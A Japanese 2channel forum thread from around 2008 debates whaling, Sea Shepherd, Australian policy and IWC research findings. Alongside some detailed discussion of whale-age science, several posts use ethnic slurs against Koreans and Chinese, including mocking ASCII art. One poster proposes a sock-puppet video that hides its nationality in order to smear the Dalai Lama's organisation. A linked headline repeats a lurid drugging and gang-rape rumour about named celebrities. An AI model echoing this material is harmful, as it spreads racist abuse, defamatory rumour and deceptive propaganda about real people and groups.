Nife　利用者の投稿記録
http://ja.wikipedia.org/w/index.php?limit=50&title=%E7%89%B9%E5%88%A5%3AContributions&contribs=user&target=Nife&namespace=&year=&month=-1

緑豆の洗脳活動にWikipediaを利用しているとしか思えんぞ。

日本人3名が負傷した件について鯨研に問い合わせたが
（証拠の開示等しないのか？というような内容）
返答が無い。
もしかして嘘か？

嘘なら許さんからな鯨研。

>>36
日本在住中国人、韓国人はいくらでもいる。
火消しに必死の馬鹿

【話題】今田耕司、宮迫博之らの恐怖のホームパーティー(アメーバニュース)★7
http://news24.2ch.net/test/read.cgi/mnewsplus/1206369827/l50x

NHKもひた隠す、宮崎あおいの夫と「広末をクスリ漬けでマワしたヤクザ」の関係
http://namidame.2ch.net/test/read.cgi/news/1206394980/l100

ちょと思ったんだが、

今、チベット関連が世界的に普段より騒がしい。

ここで国籍を伏せた別IDとかで

　　ダライ・ラマって現代にも世界的に報道されてる海賊であるシーシェパードを
　　応援してるじゃん、非暴力なんて嘘っぱち、
　　共産チャイナが言ってる『ダライが暴動を扇動してる』ってもしかして本当じゃ
　　ないの? 何しろ海賊に推薦の書状出してるくらいだし(例のページを映し出す)

みたいなビデオ上げてやったら、さすがにダライ・ラマの組織側のサイトとかに、
「あれは正体を偽られての間違い、シーシェパードのサイトに発表されている
書状も、環境保護系の団体一般に出すラバースタンプ文書の域を出ていない」
とか発表してくれんかね?

むしろ今は忙し過ぎて、対応の可能性低いかな?

低い高いに関わらず今は仕事増やしてやりたくないな・・・

その手のコメントはよく見かけるね
他のコメントにかき消されて埋もれてはいるが

アホすぎて相手にする気にもなれんが
そーいうアホの元凶が海犬なんだよな

神国ニッポンの国民だけが、国内の猿や鹿から、海外のクジラまで間引いて良いのです。

鯨は資源

　　　　　 /´／´,ィ´三ﾆミﾐヾﾘシﾄ;;ヽ＼ミﾐヽ､ヽ
　　　　　　》彡／ミミゞ=-‐''''''´゛`ミﾐ､`ヽ,＼`ヽ､`'､
　　　　　 ////彡'ﾞ　　　　　　　　　｀`ヾ＼ヽ＼ヽ,　',
　　　　　 l: l|/:::.'　＿-‐──- __　　 '゛ヾ,､ﾍミ弋ヽ::ﾍ
　　　　　 ヽVｼ{,ィ===､　　　_｡--｡__　　 :ヾ､ﾍミﾐミ､ﾍ{　 　
　　　　　　　Vﾘ　,ィﾆ:::::.　　 .:ィ´ﾆ､, `　　 ミﾐ､ﾍミ三:､}　　
　　　　 　 　Y　（´ｬｧY　　 ゝ<´rｧ ﾐ　　　`'ミ､へミﾐ弋　　これで分かったでしょ！！！
　　　　　　　|　　 -‐'　　　　`‐--　　　　　 :ミ≧ヾﾍｫﾘ 　　　黄色い猿たち！！！
　　　　　　　l::.　　 　 / 　　　ヽ　　　　　　..::彡⌒）::;;;l 　　　　わが帝国にひざまずきなさい！！！
　　　　　　　|　　　/　`--´｀'ﾞ ﾍ　　　　　　 ﾝヽソ;;;;;ﾘ
　　　　　　　| 　　:| fﾆニニﾆヽ ﾍ 　　　　 ,-‐ﾞ/;;l::|V
　　　　　　　', 　　| |LLＬＬL┴ﾐ |　　　　 r､__/;;;ﾘ;;/
　　　　　　　 〉 　:ﾄ |:::r‐─‐､::ﾉ |　　　.:::|;;;ﾝﾊ:;;ﾉｿ　　　
　　　　　　　 {ﾍ 　!ﾍ弋_＿_ﾉ_/ / ｉ　　.: |;;;ﾘﾘﾄｿｿ
　　　　　　　　ヽ､　弋＿＿ノ. / .ﾉ　 /　l;;;Ｖ/／
　　　　　　　　　 ）､　-─‐-　 ／ .ノ.:　 |;;r-‐'
　＿＿＿_ __ィ'' 　 ＞､＿　　__／　;; 　 〉ﾞ　 ＼‐-　_
　三､　　　　　 ,.ィ（⌒）,　 ￣､::::::::::;;; ／ゞ三＼　}{　 ￣`
　　　　　　,ィ´､, 丶ニｿ‐-､　　 ヽ__r‐''´　　　 |
　　　,ｨ'／　　　　　　 ＼　 ＼　　|ヽ　　　　／
　 ／ /　　　ヽ-　＼　　 ＼_ソ--'　|＿ -‐
　　　{　　　　　　 ､,　＼　　ﾍ

>>40
晒し

>>40
そっか、在日は祖国のプロバイダから接続するんだね、知らなかったよ。

日本のﾎｹﾞﾎｹﾞ団もかなり凶悪
http://www.youtube.com/swf/l.swf?video_id=wRwzVbikGVg&rel=1&eurl=http%3A//www.greenpeace.or.jp/campaign/oceans&iurl=http%3A//s4.ytimg.com/vi/wRwzVbikGVg/default.jpg&t=OEgsToPDskLE3VGNOdQRQCeUl0HOWp-J

狂牛肉のおかげで、男性の若年性認知症が増えてるな
http://www.nikkeibp.co.jp/sj/2/report/56/

捕鯨反対でもカンガルー駆除は正当化
http://jp.youtube.com/watch?v=Eklr-qfu43g


オーストラリア政府がカンガルーの虐殺計画
http://jp.youtube.com/watch?v=9r7AsyqdleA

神風が味方する、神国ニッポンの民にのみ許された行為なのです、

国内に生息するサルやシカやアライグマから
海外の絶滅危惧種のクジラまで
間引く権利があるのは神国ニッポンの民だけです。
いい加減に理解してくれないか？

こうまで支離滅裂だと、(英語ではなく)自国語での演習にもならないんだよな。
どうしてこう、近頃の哀誤ちゃんはこうまで出来が悪いのか。

>>54
日本語でOK

>>53はスポンジ脳(笑)

さて、なんだか一段落というところか、書き込みが少なくなった。
ともあれ一言。

動画作家の皆さん、ありがとう！！
皆さんが居なければSSを黙らせることもオーストラリアをビビらせる
ことも出来なかった。本当に感謝です。

今回のことで思ったことだが、まず最初にS氏の動画で口火が切られ、それについて反日国の
離間工作なる説が持ち上がって、そう信ずる者の書き込みが最後まで消えることはなかった。
自分はそれについてはどちらでも良いと思っていた。
今の日本という資源と食料のない国が生きてゆくためには、貿易と技術が生命線なのは誰でも
が知っているし、がために世界との友好なくしてそれらもないということも認識している。
大戦後の日本は回りにこびるように腰を低くそれでも商売だけは懸命にやってきたわけだ。
だが友好は結構だが、きちんと言いたいことを言える国になったのだろうか？
http://au.youtube.com/watch?v=HwewGD8whWM
皆もよく知っているこの動画が今の日本の姿だと思う。このオージーの腰巾着の日本の若者を
見ろ！女はヘラヘラとし、男はオージーが悪さをしようとしても止めようともしない。
あまつさえ清掃車の兄さんがオージーを殴ると「大丈夫？」とか言っている。
これが日本の姿だ。どっかの国に金を出せと言われれば金を出し、自衛隊を出せと言われれば
不満であっても言われるままに出す。どうせ毒餃子の件もうやむやで終わるだろうし、チベットについても
極力なにも言わないですませようとするだろう。
ようするに世界のパシリだ。この動画でも本当の友人であるならば自転車を持った段階で
止めろと叫んだはずだ。それも言えないでオージーの太鼓持ちになっている。
外人とつるんで歩いていることがカッコイイとでも思っているのだろう。オージーは日本での
都合のいいパシリとしか思っていないのに。これほどミジメなことがあるだろうか？
俺はウヨクでもサヨクでもないが、今の日本人は世界のなかでプライドを持って生きている
とは思えない。友好は大事だしそれを根本にしてやって行くことが日本の根幹であることには
間違いはない。ただ、言うべきことは言わなければそれはパシリだということだ。そんな国を
だれも尊敬などしない。ただ便利な国だと思うだけだ。
アニメがうけたスシがうけたといって喜んでいる者がいる、しかしそんなものは表面上のものに
すぎない。国は一個の人間だ、人間として尊敬されてはじめて真の友好も成り立つ。
そういう国にしていくために、今回の一件では少しの光が見えたような気がした。

↑ビックリした。
これがオージーの全てでは無いと願うが
オーストラリア不買運動を推進する

ぶっちゃけ、今時クジラなんて誰も食ってないし、
役人共が必死で捕鯨を推進してる辺りに何か気持ち悪さを感じるから
最終的には捕鯨を全面廃止してもいいと思ってるけど、
エセ環境保護団体共がムカつくからもう少し抵抗してやってもいいんじゃないかと思ってる

グリーンなんとかと、シーなんとかは大好きなクジラのエサにしてやればいいよw

クジラの刺身はうまいぞ

fred100446の新作

Japan - Whale Science
http://jp.youtube.com/watch?v=gYtecbI6ve8

英語に詳しい方、解説をちょっと・・・
反捕鯨派の反論の根拠になっているみたい

オージーの法律感覚

オーストラリアのハワードのアフォがやったことのひとつに、クルド人難民が船で近づいてきていると
聞いて、それを禁止する法律をあっという間に作ってしまい、やっつけ仕事で作った刑法を上陸した
クルド人に事後遡及で追い出し、しかも、その法律は両院の賛成を得て成立したものではなかったため、
もうひとつの院では棄却され、１ヶ月も有効期間がなかったという驚くべき法律なのです。
そもそも、両院を通っていない法を実地に使ってしまうのですから、ハワードがいかに無茶をする政治家か、
お分かりいただけると思います。先日、彼が選挙で負けたのは、非常に喜ばしいことです。

>>61　

結論がはじめから決まってる番組...
今までに刊行された調査報告書を鯨類資源の管理（致死的調査が必要か）に関係あるものとないものに分けて日本の調査捕鯨を非難する内容

・鯨はシロナガスクジラをはじめほとんど絶滅の危機にある
・IWCは全ての捕鯨を禁止した
・しかし科学調査目的なら許されると言う例外がある
・日本はこれを利用して捕鯨を続けている
・致死的調査でしか分からないのは年齢だけ
・IWCは年齢のデータは必要としていない
・全部の報告書の中で致死的調査が必要だったのは４つだけ
・日本はこの４つの報告書のために６８００頭の鯨を殺した
・これは科学調査ではなく商業捕鯨だ

間違いを恐れず要約してみました。他の科学委員会の人が見てたらなんていうかね。

>>63　
＞・鯨はシロナガスクジラをはじめほとんど絶滅の危機にある

これは間違いだな。こんな主張をする「反捕鯨派」というのは珍しい。
多くの鯨類ストック（系群）を、壊滅（コラプション）させたという表現が
一般的。コラプションというのは、たとえば自然的存賦頭数の20％にまで
激減させて、生殖チャンスを減らし、回復に数十年以上の年数を必要とする
というような状態を含んでいる。

＞・IWCは全ての捕鯨を禁止した

禁止ではなく、捕鯨モラトリアムが正しいね。
かつての資源管理方式が、多くの鯨種系群を多くの海域で壊滅（コラプス）させた
ことを反省し、新たな管理方式を編み出すために10年間、商業捕鯨枠を０とした、
というのが正確。

＞・しかし科学調査目的なら許されると言う例外がある

これはそのとおり。

＞・日本はこれを利用して捕鯨を続けている
＞・致死的調査でしか分からないのは年齢だけ

致死調査の年齢測定が、以外に不正確だということがわかり、逆に遺伝子細胞の
老化を検出する技術が進んだので、年齢についても非致死で推定はできるように
なっている、というのがここ数年の新たな展開。

>>63
＞・IWCは年齢のデータは必要としていない

IWCの改訂管理方式による商業捕鯨枠算定のためには年齢データは必要と
していない、というのが正しい。一般的に、鯨の生態を自然科学的に解明する
には、生殖開始年齢とか、年齢別の死亡率とかがわかればそれにこした
ことはない。だけど、生かしておいたまま、継続的に細胞を採取し、
出来た子供の細胞も採取したりとか、生殖的行動範囲を調べたりとか、
ストック（資源）の動態調査をやるには、非致死調査の有力な手段が
いくらでも開発されている。年齢情報取得のために何千頭も殺すなんて、
今時時代遅れだし、他の研究者の迷惑になる。

＞・全部の報告書の中で致死的調査が必要だったのは４つだけ

日本側が勝手に、管理方式の改善のために有効と主張して出してきた論文数ね。
だけど、何をどう改善するのか、まったく提言されてない。
単に、ミンククジラが増えすぎて各個体の脂肪層の厚さが薄くなっているとか、
要するに捕って食うことを正当化する口実として使いたいような下心の
透けて見える、下品な論文です。（脂肪層の厚さ測定のためには殺す必要は
無く、長細い矩形ノミ状のバイオプシー・ダーツを使えばいいんですけどね）

＞・日本はこの４つの報告書のために６８００頭の鯨を殺した

まあ、その他にも論文は書いてるんですが、いずれもナンキョクミンククジラ
の系群（生殖単位）の区分もできないような、脆弱な研究成果だったです。

＞・これは科学調査ではなく商業捕鯨だ

そうですね。

＞間違いを恐れず要約してみました。他の科学委員会の人が見てたらなんていうかね。

ご苦労様です。番組制作者が、科学委員会の報告書をちゃんと読んでれば、
あるいは正確に要約されていれば以上のようになるはずだ、ということで
コメントしてみました。あしからず。

スレの流れを止めてすみません。
いまさらのように作成し始めた動画の完成が見えてきました。
イアン・キャンベルの記事にカチンときて、作り始めたものですが。
完成したら報告しますね。
YouTubeの登録もしてないから、それもしないとねえ。
その前にここの方向けに、前もってアップローダーでも使って先行配布しようかと考えてます。

【国際】捕鯨を激しく非難するオーストラリア政府がカンガルーの大量駆除を承認（動画あり）[03/21]
なんてスレが立ってる中で
オーストラリア人がホエールウォッチングするのに邪魔だから鯨捕るのやめろって言ってるわけだろ？
これで日本が捕鯨禁止に追い込まれた日にはやるせない気持ちになるだろうな
環境問題って色々と便利ですねww　みたいな

>>66
何分くらいの動画？

>>65
訳間違えてる可能性もあるけど、シロナガスクジラは捕鯨が始まる前の１％に満たないって話をした直後、他の多くの種でも同じようなことが言えるっていってるから少なくとも視聴者はそうとると思うよ...

＞禁止ではなく、捕鯨モラトリアムが正しいね
そうだけど番組ではこういってる。
In 1996, the IWC bit the bullet and banned all whaling world wide with a small exception.
Whaling under special permit for scientific purpuses.
1996年、IWCはしぶしぶ（？）世界中の全ての捕鯨を禁止した。ただ一つのちょっとした例外がある。
科学的調査を目的とした捕鯨である。

モラトリアムって１９８２年だと思ってたんだけどな。

>>66
楽しみにしてます。ただ最近はちょっと落ち着いちゃったから閲覧数伸びないかもね

>>69
>モラトリアムって１９８２年だと思ってたんだけどな。

サンクチュアリの方かも? 番組が言ってるのは。
でも南氷洋に設定されたのは94年だけど。
(採決が94年で、実施開始が96年だったりかな?)


>>63

できれば、あそこに出てきた学者っぽい三人の肩書きも分かれば…
全部オーストラリアの学者だったりしたら笑うけど。

>>59
＞誰も食ってない

昔、学校の帰りにバスターミナルの停留所で並んでたら、アホそうな女の2人連れが
「なんでこんな場所通るの？　誰も行かないのに」とか言ってた。
その場所は俺ん家の近くだったが。

>>68
約５分です。

>>69
>楽しみにしてます。ただ最近はちょっと落ち着いちゃったから閲覧数伸びないかもね

ありがとうございます。
もうピークは過ぎたと思うので、仕方がないと思います。
いまさら自分が作るのもどうかなあ、と思いましたが、まあ、毛色の違うのがあってもいいだろうと。

神風が味方する、神国ニッポンの民にのみ許された行為なのです、

国内に生息する熊やサルやシカやアライグマやイルカから
海外の絶滅危惧種のクジラまで
間引く権利があるのは神国ニッポンの民だけです。
いい加減に理解してくれないか？

>＞・IWCは年齢のデータは必要としていない

>IWCの改訂管理方式による商業捕鯨枠算定のためには年齢データは必要と
>していない、というのが正しい。一般的に、鯨の生態を自然科学的に解明する
>には、生殖開始年齢とか、年齢別の死亡率とかがわかればそれにこした
>ことはない。だけど、生かしておいたまま、継続的に細胞を採取し、
>出来た子供の細胞も採取したりとか、生殖的行動範囲を調べたりとか、
>ストック（資源）の動態調査をやるには、非致死調査の有力な手段が
>いくらでも開発されている。年齢情報取得のために何千頭も殺すなんて、
>今時時代遅れだし、他の研究者の迷惑になる。

未だに反捕鯨派の言うこれが具体的に証明された事が無い件について

>>64
＞逆に遺伝子細胞の老化を検出する技術が進んだので、年齢についても非致死で推定はできるように
＞なっている、というのがここ数年の新たな展開。

え？
テロメアでの解析になるんだよね？
未だ誤差がプラスマイナス１０年って世界でしょ？
体長とかで推定する方がまだ正確なんじゃないのw

【国際】カナダのアザラシ猟に、捕鯨反対団体“シー・シェパード”などが抗議活動を表明…カナダ政府｢妨害すれば法律に則り告訴｣
http://mamono.2ch.net/test/read.cgi/newsplus/1206582398/

【環境】野球場での「たこ焼きの販売やめて」　根来コミッショナーに要望…国際動物愛護団体PETA
http://mamono.2ch.net/test/read.cgi/newsplus/1206583439/

　　　 　 ＿__　　　　━┓
　　　 ／　―＼ 　　┏┛
　　／ノ　　(●)＼　 ・
.　｜　(●) 　 ⌒）＼
.　｜　　 （__ノ￣　　|
　　＼　　　　　　　 /
　　　 ＼　　　　 _ノ
　　　　/´　　 　 ｀＼
　　 　 |　　　　　　　|
　　 　 |　　　　　　　|

>>76
アザラシの駆除は、下手したら北海道でも今後毎年せざるを得なくなるかもしれないんだよな。

オージーはチベット問題どうなのよ？
ラッド首相は中国訪問するみたいだが、反捕鯨のあてこすり？

>>57
確かにな。ようするに日本人がバカになっているから、バカにされてるってことだ。
戦うべきところでも、ヘラヘラしてるクズを海外で見ると、日本人であることが
恥ずかしくなるし、向こうに住んでみて、白人どもの軽薄さと傲慢さにうんざり
するようになった。何か最近は、ヴィトンだのエルメスだのに群がる国内の
海外ブランド狂いの日本人にもムカつくようになってきた。西洋崇拝がいきつくと
ただの塩化ビニールのかばんにも有り難味を感じるようになるらしい。

>>72
楽しみに待ってますよ〜。

閲覧数は気にしなくてもオケ。
たぶん今は伸びなくても、六月頃にはすごい勢いで伸びるはずｗ

>>79
確かに、海外に行ってブランドに目を晦ませてる日本人は哀れ
敗戦後の教育のせいとかもあるかもしれないが、せめて大人になったらもっと情報の取捨選択くらい自分でやってほしいな

日本人はどんだけマネても西洋人にはなれないのにな
髪も若者は染めるのがデフォになってきたけど、似合ってない奴の方が圧倒的に多いし
せめて染めるならもっと綺麗に染めて欲しい、ハーフの女の子を見た事あるが、びっくりするくらい綺麗な栗色だった
あれに憧れるのは分かるが、実際には適当に染めた感じでボサボサ頭の多い事
黒髪も手入れしてキチンとすれば勝るとも劣らない魅力があると思うんだけどな

江戸時代までは海外からどんどん輸出される程人気があった日本文化も廃れるとこまで廃れたよなぁ
戦前の記録フィルムを見たけど、今の東京より圧倒的に統一性があって綺麗だしｗ

東京は焼夷弾の大空襲にあって焼け野原になっただろ

おいおいちんけな日本人論なんか他でやれよ

回りくどいスレ潰しに見えてしまう。

http://jp.youtube.com/watch?v=xM_fyVqRUGc&feature=related
コイツ何て言ってんの？

>>85
チョンは無視に限る。やたら捕鯨関連のタグ入れてるが
ことごとくスルーされてるなｗ再生数がｗｗ

>>61
こいつらＩＣＲ関連の論文だけが調査捕鯨の結果だと思ってるみたいね

調査捕鯨のサンプルは日本中の大学の水産専攻が使ってるんだが
http://minke.fish.hokudai.ac.jp/office-m/pr/whale.htm

確かにＩＣＲの論文はダミー的、水増し的なものがたくさんある
だがまさか東大や北大の鯨類研究全部がインチキだとは言い切れまい

>>80
やっと出来た。
明日アップします。
おやすみなさい。

>>69
昨日は、番組見ないでコメントして失礼しました。

＞ 訳間違えてる可能性もあるけど、シロナガスクジラは捕鯨が始まる前の１％に満たないって話をした直後、
＞他の多くの種でも同じようなことが言えるっていってるから少なくとも視聴者はそうとると思うよ...

一応、テロップではナガスクジラが72万3000頭、ザトウクジラが20万頭捕殺されたと
書いてるから、まあだいたいそんなものかと、見る人は適当に想像すると思うけど、
鯨増えすぎてる、と主張する日本側から見ると、誤導に聴こえるかもしれないね。

だけどあとで、森下丈二さんが出てきて、ミンククジラのポピュレイションは健全で、
増えたし、他の大型鯨種も増えていると言っているので、相殺はされてるな。
（もっとも、このインタビューは2005年と2006年のIWC大会の間に行われたもので、
2007年にIWCの日本南極捕鯨審査報告を見た人なら、ミンククジラは増えてないし、
他の鯨類もポピュレイション構造が解明されてないから獲るわけにはゆかない。
従って、森下氏はIWC科学委員会の認めてないこと言ってると気付くはずだけど。
http://www.iwcoffice.org/_documents/conservation/SC-59-Rep1.pdf）

>>69
＞＞禁止ではなく、捕鯨モラトリアムが正しいね
＞ そうだけど番組ではこういってる。
＞ In 1996, the IWC bit the bullet and banned all whaling world wide with a small exception.
＞Whaling under special permit for scientific purpuses.
＞1996年、IWCはしぶしぶ（？）世界中の全ての捕鯨を禁止した。ただ一つのちょっとした例外がある。
＞科学的調査を目的とした捕鯨である。
＞ モラトリアムって１９８２年だと思ってたんだけどな。

そうですね、1986年と私には聴こえたけどw
1982年の決議で沿岸捕鯨が1986年から捕獲枠ゼロ、遠洋捕鯨が1985／86年
シーズンから同様にゼロになりましたね（賛成２５、反対７、棄権５）。

>>70
＞ できれば、あそこに出てきた学者っぽい三人の肩書きも分かれば…
＞全部オーストラリアの学者だったりしたら笑うけど。

タスマニアの元捕鯨都市、ホバートでやったインタビューで、全員
オーストラリア人ですねw

ニック・ゲイルスはオーストラリア南極庁の海洋哺乳類専門家で
IWC科学委員会へ政府から代表派遣。
http://www-new.aad.gov.au/default.asp?casid=12935
パット・クィルティーはタスマニア大学名誉教授で、オーストラリアの南極
プロジェクト元責任者。化石生物学が専門で、石油会社勤務、大学教授を歴任。
http://www.abc.net.au/tv/southnorth/film_talent_profiles.htm

マイク・アーチャーはサウスウェールズ大学理学部長で、アナウンスによると
野生動物の捕殺に賛成派w
http://www.science.unsw.edu.au/?DocPath=leaders-in-science/&

だけど、この３人と同様、致死調査に付いて、必要ないはずだとわざわざIWC科学委員会で
コメント出してる16カ国の政府派遣科学委員　+　IWC側招待の鯨学者16人のリスト貼っときます。
THE JOURNAL OF CETACEAN RESEARCCH AND MANAGEMENT Vol. 8 (SUPPL.), 2006 p.260-261
REPORT OF THE SCIENTIFIC COMMITTEE, ANNEX O1
COMMENTS ON THE GOVERNMENT OF JAPAN'S PROPOSAL FOR A SECOND PHASE OF SPECIAL
PERMIT WHALING IN ANTARCTICA (JARPA II)
S. Childerhouse (New Zealand), N. Gales (Australia), C.S. Baker (New Zealand), C. Bass (UK), P. Berggren (Sweden),
J. Bickham (USA), J. Breiwick (USA), R. Brownell (USA), C. Carlson (USA), J-B. Charrassin (France), F. Cipriano (IP),
P. Clapham (USA), T. Collins (IP), J. Cooke (IUCN), B. Cozzi (Italy), W. Dinter (Germany), M. Engel (Brazil), K. Findlay
(IP), C. Fortuna (Italy), N. Funahashi (IP), J. Gedamke (Australia), K. Groch (Brazil), M. Iniguez (Argentina), T. Kasuya
(IP), L. Kell (UK), K-H. Kock (Germany), M. Krahn (USA), R. Leaper (UK), R. LeDuc (USA), D. Mattila (IP), S. Moore
(USA), S. Northridge (UK), C. Olavama (IP), J. Palazzo (Brazil), S. Panigada (Italy), C. Parsons (UK), W. Perrin (USA),
C. Pomilla (IP), L. Porter (IP), P. Reijnders (Netherlands), V. Ridoux (France), F. Ritter (Germany), J. Robbins (USA),
E. Rogan (Ireland), L. Rojas (Mexico), N. Rose (IP), H. Rosenbaum (USA), T. Rowles (USA), L. Sadler (UK), E. Secchi
(IP), D. Senn (Switzerland), M. Simmonds (UK), M. Sironi (IP), M. Stachowitsch (Austria), D. Thiele (Australia), J. Urban
(Mexico), P. Wade (USA), K. Van Waerebeek (Belgium), R. Waples (USA), M. Weinrich (IP), R. Williams (IP), B. Wilson
(UK) and A. Zerbini (IP). [IP=Invited Participant].

>>87
>確かにＩＣＲの論文はダミー的、水増し的なものがたくさんある
>だがまさか東大や北大の鯨類研究全部がインチキだとは言い切れまい

獣殺派のアーチャー学部長がマッドだと笑ってたミンククジラの精子を牛や
羊の卵子に注入したとか、そういう学術研究ですか？

この話、数日前にネットに出ていて、てっきりネタかと思ってたんだけど、
もうずいぶん前から知られてたんですねw

いずれにしても、第一段階で学術誌の査読論文（学会の専門学者による審査を経たもの
だけ掲載するというやりかた）だけ抽出して、これが55本。そのうち鯨類の資源管理、
水産業にとって意味のあるものだけを選ぶと14本。さらにその中で、致死調査を
必要とするものだけを残すと４本、という経過だね。

>>75
>テロメアでの解析になるんだよね？
>未だ誤差がプラスマイナス１０年って世界でしょ？

テロメアというのは、細胞の中の染色体の末端の部分で、細胞分裂する時に、
末端だから、完全に複製されずに短くなる。それを若いうちは再構成する機能が
あるけれど、歳をとるとこの機能が減退してきて、染色体の長さが短くなってくる。
こういう動物一般に見られる老化の細胞レベルでのメカニズムに着目したのが
テロメア分析による年齢推定法だね。

現在実験志向で理論的にこれをまとめたスタンダードな論文はシェフィールド大学の
中川さん他の仕事ということになってる。
http://www.blackwell-synergy.com/doi/abs/10.1111/j.1365-294X.2004.02291.x

上の憎むべき反日科学者一覧表にも出てくるw、クラパムとかブラウネルとかの論文も
引用されてるねw

今、ネットで話題になってるのは2006年のネイチャーの論文らしいけど、これだと
ザトウクジラで実際にこの応用実験をやった、Peter Harrisonというニューサウス
ウェールズ大学の学者が、年齢推定の幅が5−10年の範囲に収まるようにしたいと、
かなり曖昧なこと言ってるんで、捕殺年齢推定派に希望を与えているんだなw
http://npg.nature.com/nature/journal/v442/n7102/full/442507a.html
Nature 442, 507-508 (3 August 2006) | doi:10.1038/442507a;
Published online 2 August 2006

>>75
＞体長とかで推定する方がまだ正確なんじゃないのw

年齢によりますね。まあどっちにしても、ポピュレイションの内部構造、
系統群の年齢特性を群として表示するには、一頭一頭の正確な年齢は必要ないのです。
サンプルを継続的に大量に取って、他に繁殖地での出生記録等の統計と合わせ、
時々手に入る事故死死体の耳栓年輪と比較するという、統計学的手法で問題は
解決してます。

そもそも国際捕鯨委員会の捕獲可能量算定には年齢は不要。必要なのは
１）系群の構造（たとえば、南極海第IV海区で見つけたミンククジラがオーストラリア
東岸で繁殖してる系群に属するのか、西岸で繁殖してるのか、あるいはニュージーランド
西岸の系群に属するのか、という構造）
２）それぞれの系群の数量。
３）過去の捕鯨による除去数。これだけ、
とあのユーツベでニック．ゲイルズが言ってる通りです。
上の63人の反日鯨学者wたちもみんなそういってます。

おー、大事な人を忘れてた。
上の反日学者６３人に入ってなくて、ずっと前からノルウェー政府派遣の科学委員
で、調査捕鯨を主張してたパルスボル（あるいはパルスベル）。
Support for these data comes from Per Palsb?ll, a population geneticist
at the University of California, Berkeley, who is also studying telomeres
in humpback whales.
カリフォルニア大学バークレー校に移籍して、非致死調査派に鞍替えしちゃった
みたいだねw

↑つまり、まとめると日本は商業捕鯨を再開すべきということだな

↑うん。日本語で、２ちゃんだけでそう言ってるんならいいけど、
よーつべにそんな動画、英語で貼らんでなw

↑だが、断る

色々情報ありがとう >ID:BjTDSuE50

要するにあの番組は、例の「RMPで捕獲枠算定するのに致死的調査は全く必要無い」と、
ずーっと言われてる件に則って、「日本が『調査』と言ってるのは嘘っぱちor
愚かな間違い」だとしてる、そういう調子だと思っていいのかな?


>>92
>この話、数日前にネットに出ていて、てっきりネタかと思ってたんだけど、

この3月初旬に行われてたIWCの中間会合のときに、オーストラリアから派遣されてた
人から語られて豪のメディアに流れてから、反捕鯨派の連中が好んで持ち出すように
なったのが、ここ数週間のことだけど、あの番組っていつ頃のものなんだろ?

あと、判ればだけど、
>いずれにしても、第一段階で学術誌の査読論文（学会の専門学者による審査を経たもの
>だけ掲載するというやりかた）だけ抽出して、これが55本。そのうち鯨類の資源管理、
(略)
これは、何に(何の雑誌に)、どれだけの期間に、寄せられたものを対象としたのか、
番組では言ってますかね?

野生の哺乳類を、いまどき「食糧安全保障の重要項目」なんて位置づけてる
先進国はないよ。後進国でもそんなアホなこといわない。

レイシスト(笑)

BjTDSuE50ってやけに長文書いてるけど反捕鯨派か

商業捕鯨＝悪という考え方もおかしいと思う

ＧＰは商業反捕鯨(笑)

【豪州】ラッド首相「日本とばし」　米欧中訪問へ 捕鯨対立がトゲ？〜「中国傾斜ぶり」への批判広がる[03/28]
http://news24.2ch.net/test/read.cgi/news4plus/1206662355/

中国が捕鯨に乗り出す時まで日本は待てということ？

＜ラッド豪首相＞米欧中を訪問、日本は見送り　捕鯨がトゲ？

オーストラリアのラッド首相は２７日、米国、欧州、中国歴訪に向け出発した。昨年１２月の就
任後、初の本格的な外遊だが、中国通として知られる首相は中国に４日間滞在する一方、日
本訪問を見送った。最近の日豪関係は調査捕鯨を巡る対立など否定的要素が目立つだけ
に、「日本とばし」を「日本軽視の表れ」とする見方が報じられ、論議を呼んでいる。　　

　４月１２日まで続く外遊は「メガ・ツアー」と呼ばれ、最初の米国ではブッシュ大統領と会談。
その後、ベルギー、英国などを経て中国訪問で締めくくる。首相はこれまでインドネシアな
ど近隣諸国を訪れているが、主要国歴訪は初めて。

　労働党政権を率いるラッド首相は中国語が堪能で、外交官として北京駐在を経験した。また、
野党時代にラッド氏や今の閣僚ら労働党幹部が、海外渡航費用を中国企業にたびたび負
担させていた事実が最近になって発覚。政権と中国との関係の深さが改めて浮き彫りにな
っていた。

　野党・自由党は「中国に４日間も滞在するのに、最大の輸出相手国の日本には１時間割くこ
ともできないのか」と批判。地元紙では、ラッド首相の「中国傾斜ぶり」を皮肉り、チベット暴動
でも「中国に厳しい態度を取らないのでは」とする論評が見られた。

　反捕鯨政策の強化を公約に掲げ昨年１１月の総選挙で勝利したラッド政権は、巡視船による
日本の調査捕鯨監視を実施。世論を含め日豪関係がぎくしゃくするきっかけとなった。外交
筋は「ラッド政権は捕鯨問題での強硬姿勢が日本側の反発を招き、逆効果になるという認識
がなかった」と分析。訪日見送りは豪世論と対日関係のバランス上、捕鯨問題の協議を先送
りする狙いもあるとみられている。

http://headlines.yahoo.co.jp/hl?a=20080328-00000014-mai-int

ID:BjTDSuE50　が↓で袋叩きにあってるぞ
【ｻｰﾌｧｰ】六ヶ所村ってどうなの？ 5【ﾀﾞｲﾊﾞｰ】
http://sports11.2ch.net/test/read.cgi/msports/1203815649/l50x

日本人が知らない「日本売り」や「ジャパンバッシング」 　連日、豪州のテレビを賑わすトップニュースとは（MONEYzine） - Yahoo!ニュース
ttp://headlines.yahoo.co.jp/hl?a=20080328-00000001-sh_mon-bus_all

完成したものをアップしました。
ここでの先行配布です。

ttp://home2.dip.jp/upload100_download.php?no=23507
PASSはコメントを見て下さい。

しかし、作っては見たものの、いいのかなあ、あんなので。

　　　（;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;（ ）
　　　 |:::::|￣￣8￣￣8￣￣|:::::|
　　　 |:::::|　 　/　　　/ﾞ 　 　|:::::| 最近ﾁｮﾊﾟｰﾘはｼﾅｰとばかり遊んでるﾆﾀﾞ。
　　　 |:::::|　 ∧,,∧ ./ﾞ　　　 |:::::| つまらないﾆﾀﾞ。謝罪汁、賠償汁。
　　　 | 　 ,<｀Д´　>　 　 　 |:::::|　ｷｰｺ
　　　 |　○　　　○ﾉ　　　　.|:::::|　　ｷｰｺ
　　　_|_/_<＿<__/)＿　　　 ||:::::|
　 （;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;（ ）)）　　.|:::::|
　　￣|￣|￣￣￣￣　　　　.|:::::|
.....,,,.,. |　 |,,,.,.,.....,,,.,.,.....,,,.,.,...,.,|;;;::|,,,.,.,.....,,,.,.,...

拝見しました。 >>110

■たぶん、よつべにうｐったら「違法と言うなら、ジャップの捕鯨が違法だ。法治国家として
　の自覚が無いのはどっちだ!」というような糾弾が飛んでくるでしょう。
